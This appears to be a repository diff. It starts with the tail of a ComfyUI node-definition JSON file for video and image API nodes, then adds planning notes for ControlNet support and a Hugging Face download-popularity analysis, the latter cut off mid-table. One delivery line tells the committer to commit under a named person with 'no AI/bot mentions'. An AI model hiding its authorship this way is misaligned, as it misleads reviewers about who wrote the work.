"name": "Wan2ReferenceVideoApi", "display_name": "Wan 2.7 Reference to Video", "description": "Generate a video featuring a person or object from reference materials. Supports single-character performances and multi-character interactions.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n $outputPrice := $pps * $dur;\n {\n \"type\": \"range_usd\",\n \"min_usd\": $outputPrice,\n \"max_usd\": 5 * $pps + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseTextToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9", "9:21", "5:4", "4:5"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}, {"key": "happyhorse-1.0-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseTextToVideoApi", "display_name": "HappyHorse Text to Video", "description": "Generates a video based on a text prompt using the HappyHorse model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseImageToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}, {"key": "happyhorse-1.0-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_frame": ["IMAGE", {"tooltip": "First frame image. The output aspect ratio is derived from this image."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseImageToVideoApi", "display_name": "HappyHorse Image to Video", "description": "Generate a video from a first-frame image using the HappyHorse model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseVideoEditApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.0-video-edit", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Editing instructions or style transfer requirements.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio. If not changed, approximates the input video ratio.", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5"], "min": 0}}]}}}]}], "video": ["VIDEO", {"tooltip": "The video to edit."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseVideoEditApi", "display_name": "HappyHorse Video Edit", "description": "Edit a video using text instructions or reference images with the HappyHorse model. Output duration is 3-15s and matches the input video; inputs longer than 15s are truncated.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $ppsTable := { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps, \"format\": { \"suffix\": \"/second\" } }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HappyHorseReferenceVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "happyhorse-1.1-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4", "21:9", "9:21", "5:4", "4:5"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9"], "min": 1}}]}}}, {"key": "happyhorse-1.0-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "step": 1, "display": "number"}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5", "image6", "image7", "image8", "image9"], "min": 1}}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HappyHorseReferenceVideoApi", "display_name": "HappyHorse Reference to Video", "description": "Generate a video featuring a person or object from reference materials with the HappyHorse model. Supports single-character performances and multi-character interactions.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := $contains(widgets.model, \"1.1\")\n ? { \"720p\": 0.2002, \"1080p\": 0.2574 }\n : { \"720p\": 0.14, \"1080p\": 0.24 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WavespeedFlashVSRNode": {"input": {"required": {"video": ["VIDEO", {}], "target_resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p", "2K", "4K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "target_resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WavespeedFlashVSRNode", "display_name": "FlashVSR Video Upscale", "description": "Fast, high-quality video upscaler that boosts resolution and restores clarity for low-resolution or blurry footage.", "python_module": "comfy_api_nodes.nodes_wavespeed", "category": "partner/video/WaveSpeed", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "target_resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price_for_1sec := {\"720p\": 0.012, \"1080p\": 0.018, \"2k\": 0.024, \"4k\": 0.032};\n {\n \"type\":\"usd\",\n \"usd\": $lookup($price_for_1sec, widgets.target_resolution),\n \"format\":{\"suffix\": \"/second\", \"approximate\": true}\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WavespeedImageUpscaleNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["SeedVR2", "Ultimate"]}], "image": ["IMAGE", {}], "target_resolution": ["COMBO", {"multiselect": false, "options": ["2K", "4K", "8K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "target_resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WavespeedImageUpscaleNode", "display_name": "WaveSpeed Image Upscale", "description": "Boost image resolution and quality, upscaling photos to 4K or 8K for sharp, detailed results.", "python_module": "comfy_api_nodes.nodes_wavespeed", "category": "partner/image/WaveSpeed", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"seedvr2\": 0.01, \"ultimate\": 0.06};\n {\"type\":\"usd\", \"usd\": $lookup($prices, widgets.model)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveImageWebsocket": {"input": {"required": {"images": ["IMAGE"]}}, "input_order": {"required": ["images"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "SaveImageWebsocket", "display_name": "Save Image (Websocket)", "description": "", "python_module": "custom_nodes.websocket_image_save", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": []}, "UnetLoaderGGUF": {"input": {"required": {"unet_name": [["flux-2-klein-4b-Q4_K_M.gguf", "flux1-schnell-Q4_K_M.gguf", "qwen-image-Q4_K_M.gguf", "z-image-turbo-Q4_K_M.gguf"]]}}, "input_order": {"required": ["unet_name"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UnetLoaderGGUF", "display_name": "Unet Loader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CLIPLoaderGGUF": {"input": {"required": {"clip_name": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["stable_diffusion", "stable_cascade", "sd3", "stable_audio", "mochi", "ltxv", "pixart", "cosmos", "lumina2", "wan", "hidream", "chroma", "ace", "omnigen2", "qwen_image", "hunyuan_image", "flux2", "ovis", "longcat_image", "cogvideox", "lens", "pixeldit", "ideogram4", "boogu", "krea2"]]}}, "input_order": {"required": ["clip_name", "type"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPLoaderGGUF", "display_name": "CLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "DualCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "type": [["sdxl", "sd3", "flux", "hunyuan_video", "hidream", "hunyuan_image", "hunyuan_video_15", "kandinsky5", "kandinsky5_image", "ltxv", "newbie", "ace"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "type"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "DualCLIPLoaderGGUF", "display_name": "DualCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "TripleCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name3": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "TripleCLIPLoaderGGUF", "display_name": "TripleCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "QuadrupleCLIPLoaderGGUF": {"input": {"required": {"clip_name1": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name2": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name3": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]], "clip_name4": [["clip_l.safetensors", "qwen2.5vl_Q4_K_M.gguf", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3", "clip_name4"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "QuadrupleCLIPLoaderGGUF", "display_name": "QuadrupleCLIPLoader (GGUF)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "UnetLoaderGGUFAdvanced": {"input": {"required": {"unet_name": [["flux-2-klein-4b-Q4_K_M.gguf", "flux1-schnell-Q4_K_M.gguf", "qwen-image-Q4_K_M.gguf", "z-image-turbo-Q4_K_M.gguf"]], "dequant_dtype": [["default", "target", "float32", "float16", "bfloat16"], {"default": "default"}], "patch_dtype": [["default", "target", "float32", "float16", "bfloat16"], {"default": "default"}], "patch_on_device": ["BOOLEAN", {"default": false}]}}, "input_order": {"required": ["unet_name", "dequant_dtype", "patch_dtype", "patch_on_device"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "UnetLoaderGGUFAdvanced", "display_name": "Unet Loader (GGUF/Advanced)", "description": "", "python_module": "custom_nodes.ComfyUI-GGUF", "category": "bootleg", "output_node": false, "has_intermediate_output": false, "search_aliases": []}} \ No newline at end of file diff --git a/plans/controlnet-workflow.md b/plans/controlnet-workflow.md new file mode 100644 index 0000000000..9d02a1a0ab --- /dev/null +++ b/plans/controlnet-workflow.md @@ -0,0 +1,113 @@ +# Plan: ControlNet for the Studio Images workflow (stacked on #6769) + +## Context & research + +ControlNet is the **#2 most-used "beyond text-to-image" diffusion workflow** after LoRA (now shipped +in #6771). It conditions generation on a spatial control map so the output follows a structure. Web +research (this session) on ComfyUI / Forge / A1111 usage: + +- The dominant control types are **Depth, Canny (edges), and OpenPose (human pose)**. +- The biggest 2025 shift is toward **Union / all-in-one ControlNets** that bundle many control modes in + one model: **InstantX / Shakker-Labs `FLUX.1-dev-ControlNet-Union-Pro`** for FLUX, and **`xinsir/ + controlnet-union-sdxl-1.0`** for SDXL. SDXL has no official ControlNet (community: xinsir, TheMistoAI, + BRIA). SD1.5 has the original lllyasviel set. +- Sources: comfyui-wiki.com ControlNet collections (flux-1 / sdxl), stable-diffusion-art.com ControlNet + ComfyUI, education.civitai.com ControlNet guide, stablediffusiontutorials.com Qwen-Image ControlNets. + +**Both Studio backends can do ControlNet** (verified against the live tree): +- diffusers has `FluxControlNetPipeline` / `FluxControlNetModel`, `StableDiffusionXLControlNetPipeline` / + `ControlNetModel` / `ControlNetUnionModel`, `QwenImageControlNetPipeline`, `FluxControlNetInpaintPipeline` + (diffusers 0.38 in the studio venv). Also `FluxControlPipeline` (the Flux.1-Canny/Depth "Control" + in-model variants). +- native sd.cpp (`stable-diffusion.cpp`, the #6769 sd-cli base) has `--control-net `, + `--control-image `, `--control-strength `, `--control-net-cpu`, and a built-in + `preprocess_canny` (examples/cli/main.cpp:704, examples/common/common.cpp:422+). + +Studio has **no ControlNet wiring today**: `diffusion_families.py` has no controlnet fields and +`sd_cpp_args.py` has no `--control-*`. This adds it, mirroring the LoRA architecture (#6771) and the +existing img2img/inpaint/reference workflow patterns. + +## Scope (this PR = diffusers ControlNet, Union-first) + +Ship the highest-value slice first; keep it shippable and consistent with the shipped LoRA design. + +- **In scope:** diffusers ControlNet for the families with the strongest ecosystems and pipeline support: + **FLUX** (FluxControlNetPipeline + Union Pro), **SDXL** (StableDiffusionXLControlNetPipeline + xinsir + Union), **Qwen-Image** (QwenImageControlNetPipeline). Single ControlNet per generation. A `control_type` + hint (canny / depth / pose / tile / passthrough). **Canny preprocessing built in** (cheap, cv2/PIL) plus + **passthrough** for user-supplied control maps (depth/pose maps made elsewhere, matching ComfyUI where + preprocessing is separate). Strength + guidance start/end. Discovery endpoint + family-gated picker. +- **Out of scope (follow-ups):** native sd.cpp ControlNet (`--control-net`, needs GGUF ControlNet assets + + family support probe); heavy preprocessors (Depth-Anything, OpenPose detector) as optional server-side + auto-preprocess; multi-ControlNet stacking; ControlNet + inpaint combo. + +## Key facts (verified) + +- diffusers ControlNet pipelines are built with `Pipeline.from_pipe(base_pipe, controlnet=cn_model)` (or + `from_pretrained(base, controlnet=...)`), so the resident base modules are reused with **no reload** -- + same `from_pipe` machinery the img2img/inpaint/edit workflows already use (`diffusion.py` ~:1104-1130, + `_workflow_pipe`). The ControlNet model (`ControlNetModel` / `FluxControlNetModel` / `ControlNetUnionModel`) + is a small extra module loaded once and cached on `_LoadState`. +- ControlNet models are **family-specific** (SD1.5 CN != FLUX CN != SDXL CN). So discovery must be + **family-gated**, exactly like the LoRA picker's `supports_lora`/family filter. +- Generate-time contract mirrors reference/inpaint: a control image (b64) + params, threaded through + `routes/inference.py` into both backends (diffusers serves it; native rejects clearly until the + follow-up wires `--control-*`). +- Reuse: `diffusion_lora.py` discovery/resolve/family-gate patterns; the reference-image upload component + + the LoRA picker UI shape; `_workflow_pipe` from_pipe; `hf_hub_download_with_xet_fallback`. + +## Approach + +### Families (`core/inference/diffusion_families.py`) +- Add per-family ControlNet declaration: `controlnet_pipeline_class` (e.g. "FluxControlNetPipeline", + "StableDiffusionXLControlNetPipeline", "QwenImageControlNetPipeline"), `controlnet_model_class` + ("FluxControlNetModel" / "ControlNetModel" / a union class), and a small curated list of recommended + ControlNet repos tagged by control type. Expose a `controlnet: bool` capability (like `reference`). + +### Discovery (`core/inference/diffusion_controlnet.py`, new -- mirrors diffusion_lora.py) +- `list_controlnets(family)` = curated family-tagged repos + a local scan; `resolve_controlnet(id, family, + hf_token)` downloads via the xet-fallback helper; `preprocess_control(image, control_type)` (canny via + cv2/PIL; passthrough otherwise); `supports_controlnet(engine, family, model_kind, quant)` gate + (diffusers bf16 / bnb-4bit yes; GGUF-via-diffusers + torchao fp8/int8 dense = no, same rule as LoRA; + native = follow-up). + +### Backend -- diffusers (`core/inference/diffusion.py`) +- A ControlNet manager parallel to `_apply_loras`: load the requested `ControlNetModel` once (cache on + `_LoadState`, reset on unload/model change), build the CN pipeline via `from_pipe(base, controlnet=...)` + in `_workflow_pipe`, and pass `control_image` + `controlnet_conditioning_scale` + + `control_guidance_start/end` at generate time. Never fuse; CN model stays bf16. + +### Backend -- native (`core/inference/sd_cpp_backend.py`, sd_cpp_args.py) -- FOLLOW-UP +- Add `--control-net` / `--control-image` / `--control-strength` to the arg builder and a GGUF-ControlNet + resolve; gate to families sd.cpp supports. Deferred out of this PR. + +### Routes + request models (`models/inference.py`, `routes/inference.py`) +- Add optional `controlnet: ControlNetSpec` to `DiffusionGenerateRequest` (`{id, image, control_type, + strength (0..2, default 1), guidance_start (0..1), guidance_end (0..1)}`); thread into `backend.generate`; + surface `supports_controlnet` in status; persist the chosen CN + type in gallery recipe metadata. +- New `GET /api/models/diffusion-controlnets?family=` (mirror the LoRA discovery route). + +### Frontend (`features/images/images-page.tsx`, `api.ts`) +- A "ControlNet" control in the left rail (reuse the reference-image uploader + a control-type Select + + ControlNet-model Select gated by `supports_controlnet`/family + a strength SliderField). Show a small + preview of the preprocessed control map. Thread `controlnet` into `generateDiffusionImage`; omit when no + control image. + +## Verification +- **Unit:** request validation (optional/empty unchanged; bad strength rejected; unsupported family/quant + rejected); discovery (family filter, resolve, canny preprocess shape); diffusers manager (loads CN once, + from_pipe built, scale threaded, reset on model change) with a fake pipe; routes (no-CN path unchanged). +- **Live smoke (critical):** on GPU 4, drive the real diffusers backend with a real family + Union CN and a + canny control image; same prompt/seed at strength 0 vs 0.8; assert (a) output DIFFERS from no-control and + (b) the strong-control output structurally follows the control map (edge-overlap / SSIM vs the control). +- **Playwright (`unsloth_studio_workflow`):** upload a control image, pick type + model + strength, + generate; capture screenshots/GIF against the live secure studio. +- Full `pytest studio/backend/tests/` green; frontend `vite build` clean; ruff clean. + +## Delivery +- New branch `diffusion-controlnet` off `diffusion-image-workflows` (#6769 head) in an isolated worktree, + sibling to #6771 (LoRA) and #6772 (fp8 fix). PR on `unslothai/unsloth`, base = diffusion-image-workflows, + part of the single logical stack rooted on #6763 (continuation of #6658). Commit as Daniel Han; no AI/bot + mentions, no emojis, no em dashes. +- Follow-ups: native sd.cpp ControlNet; server-side Depth/OpenPose auto-preprocessors; multi-ControlNet; + ControlNet+inpaint. diff --git a/plans/diffusion-popularity-findings.md b/plans/diffusion-popularity-findings.md new file mode 100644 index 0000000000..630ef93291 --- /dev/null +++ b/plans/diffusion-popularity-findings.md @@ -0,0 +1,113 @@ +# Diffusion workflow popularity findings (HF download data) + +Read-only HF metadata pull (`scripts/investigate_popularity.py`), to ground the Studio +Images scope against what people actually download. Downloads are HF's 30-day count and +all-time count; pulled 2026-06-30. + +## Qwen-Image-Edit vs Qwen-Image-Layered (the explicit "determine popularity" question) + +| Model | dl / 30d | dl all-time | likes | pipeline | +|---|---:|---:|---:|---| +| Qwen/Qwen-Image-Edit-2509 | 511,996 | 2,942,966 | 1,185 | image-to-image | +| Qwen/Qwen-Image-Edit-2511 | 162,185 | 1,088,015 | 1,087 | image-to-image | +| Qwen/Qwen-Image-Edit (base) | 70,728 | 1,161,044 | 2,440 | image-to-image | +| **Qwen-Image-Edit (all variants)** | **~745,000** | **~5,192,000** | - | - | +| Qwen/Qwen-Image-Layered | 51,303 | 234,785 | 1,112 | image-text-to-image | +| unsloth/Qwen-Image-Edit-2511-GGUF | 218,313 | - | - | image-to-image | + +**Conclusion:** Qwen-Image-Edit is ~10-14x more downloaded than Layered (combined 745K/30d +vs 51K, 5.2M vs 235K all-time). Shipping Edit (2511 + the unsloth GGUF, which alone pulls +218K/30d) and rejecting/deferring Layered is the correct, data-backed call. Layered also +needs a dedicated pipeline (`additional_t_cond=True`) the standard QwenImagePipeline can't +drive, so it would be both niche AND extra engineering. Reject stands. + +## ControlNet is niche on the modern (diffusers/FLUX/Qwen) stack + +| Model | dl / 30d | dl all-time | likes | +|---|---:|---:|---:| +| InstantX/FLUX.1-dev-Controlnet-Canny | 2,891 | 136,727 | 194 | +| lllyasviel/ControlNet (SD1.5-era) | 0 | 14 | 3,820 | +| stabilityai/stable-diffusion-x4-upscaler | 10,040 | 2,976,405 | 725 | + +**Conclusion:** ControlNet's large user base lives in the older SD1.5 / A1111 ecosystem, not +the diffusers/FLUX/Qwen stack Studio targets (the modern FLUX ControlNet is ~3K/30d). It is +NOT part of the "most popular ~80%" for current-gen models, so deferring it is justified by +the data, not just by effort. The dedicated x4 upscaler is also low 30-day (10K) though high +all-time; our generic hires-fix upscale (img2img re-detail) covers the use case for any +loaded family without an extra model. + +## The shipped six cover the popular workflows + +Top text-to-image (HF list, 30-day): SD1.5 